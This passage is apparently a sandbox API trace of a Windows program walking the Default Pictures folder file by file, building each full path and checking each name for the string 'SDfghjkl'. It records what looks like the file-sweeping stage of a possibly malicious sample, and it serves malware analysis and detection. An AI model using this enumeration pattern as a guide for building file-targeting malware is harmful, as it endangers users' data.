[0131.892] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae29b72e, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae29b72e, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb76b98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile13.bmp", cAlternateFileName="")) returned 1
[0131.892] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp") returned 86
[0131.892] StrStrIW (lpFirst="usertile13.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.892] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb82a065, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile14.bmp", cAlternateFileName="")) returned 1
[0131.892] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp") returned 86
[0131.892] StrStrIW (lpFirst="usertile14.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.892] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdbb95fd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile15.bmp", cAlternateFileName="")) returned 1
[0131.892] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp") returned 86
[0131.892] StrStrIW (lpFirst="usertile15.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.892] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae30db45, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae30db45, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdca9c9ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile16.bmp", cAlternateFileName="")) returned 1
[0131.892] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp") returned 86
[0131.892] StrStrIW (lpFirst="usertile16.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.892] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc3f8f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile17.bmp", cAlternateFileName="")) returned 1
[0131.892] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp") returned 86
[0131.892] StrStrIW (lpFirst="usertile17.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.892] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc65a55, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile18.bmp", cAlternateFileName="")) returned 1
[0131.892] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp") returned 86
[0131.893] StrStrIW (lpFirst="usertile18.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.893] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae359dff, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae359dff, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc8bbb3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile19.bmp", cAlternateFileName="")) returned 1
[0131.893] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp") returned 86
[0131.893] StrStrIW (lpFirst="usertile19.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.893] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae37ff5c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae37ff5c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdccb1d11, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile20.bmp", cAlternateFileName="")) returned 1
[0131.893] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp") returned 86
[0131.893] StrStrIW (lpFirst="usertile20.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.893] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd069f3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile21.bmp", cAlternateFileName="")) returned 1
[0131.893] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp") returned 86
[0131.893] StrStrIW (lpFirst="usertile21.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.893] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd09009d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile22.bmp", cAlternateFileName="")) returned 1
[0131.893] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp") returned 86
[0131.893] StrStrIW (lpFirst="usertile22.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.893] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3cc216, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3cc216, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd0b61fb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile23.bmp", cAlternateFileName="")) returned 1
[0131.893] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp") returned 86
[0131.893] StrStrIW (lpFirst="usertile23.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.893] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd232fa7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile24.bmp", cAlternateFileName="")) returned 1
[0131.893] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp") returned 86
[0131.893] StrStrIW (lpFirst="usertile24.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.893] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd259105, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile25.bmp", cAlternateFileName="")) returned 1
[0131.893] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp") returned 86
[0131.893] StrStrIW (lpFirst="usertile25.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.893] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd27f263, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile26.bmp", cAlternateFileName="")) returned 1
[0131.893] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp") returned 86
[0131.893] StrStrIW (lpFirst="usertile26.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.893] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4184d0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4184d0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd2a53c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile27.bmp", cAlternateFileName="")) returned 1
[0131.893] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp") returned 86
[0131.893] StrStrIW (lpFirst="usertile27.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.893] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3177db, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile28.bmp", cAlternateFileName="")) returned 1
[0131.893] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp") returned 86
[0131.893] StrStrIW (lpFirst="usertile28.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.893] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd33d939, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile29.bmp", cAlternateFileName="")) returned 1
[0131.893] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp") returned 86
[0131.894] StrStrIW (lpFirst="usertile29.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.894] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae46478a, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae46478a, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile30.bmp", cAlternateFileName="")) returned 1
[0131.894] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp") returned 86
[0131.894] StrStrIW (lpFirst="usertile30.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.894] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile31.bmp", cAlternateFileName="")) returned 1
[0131.894] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp") returned 86
[0131.894] StrStrIW (lpFirst="usertile31.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.894] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd42216d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile32.bmp", cAlternateFileName="")) returned 1
[0131.894] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp") returned 86
[0131.894] StrStrIW (lpFirst="usertile32.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.894] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4b0a44, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4b0a44, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd4482cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile33.bmp", cAlternateFileName="")) returned 1
[0131.894] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp") returned 86
[0131.894] StrStrIW (lpFirst="usertile33.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.894] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9c9561, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile34.bmp", cAlternateFileName="")) returned 1
[0131.894] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp") returned 86
[0131.894] StrStrIW (lpFirst="usertile34.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.894] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile35.bmp", cAlternateFileName="")) returned 1
[0131.894] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp") returned 86
[0131.894] StrStrIW (lpFirst="usertile35.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.894] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae548fb8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae548fb8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile36.bmp", cAlternateFileName="")) returned 1
[0131.894] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp") returned 86
[0131.894] StrStrIW (lpFirst="usertile36.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.894] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae595272, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae595272, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile37.bmp", cAlternateFileName="")) returned 1
[0131.894] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp") returned 86
[0131.894] StrStrIW (lpFirst="usertile37.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.894] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5bb3cf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5bb3cf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile38.bmp", cAlternateFileName="")) returned 1
[0131.894] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp") returned 86
[0131.894] StrStrIW (lpFirst="usertile38.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.894] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5e152c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5e152c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc2ab41, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile39.bmp", cAlternateFileName="")) returned 1
[0131.894] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp") returned 86
[0131.894] StrStrIW (lpFirst="usertile39.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.894] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae607689, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae607689, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc50c9f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile40.bmp", cAlternateFileName="")) returned 1
[0131.894] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp") returned 86
[0131.895] StrStrIW (lpFirst="usertile40.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.895] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae62d7e6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae62d7e6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddcc30b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile41.bmp", cAlternateFileName="")) returned 1
[0131.895] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp") returned 86
[0131.895] StrStrIW (lpFirst="usertile41.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.895] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddce9217, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile42.bmp", cAlternateFileName="")) returned 1
[0131.895] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp") returned 86
[0131.895] StrStrIW (lpFirst="usertile42.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.895] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd0f375, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile43.bmp", cAlternateFileName="")) returned 1
[0131.895] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp") returned 86
[0131.895] StrStrIW (lpFirst="usertile43.bmp", lpSrch="SDfghjkl") returned 0x0
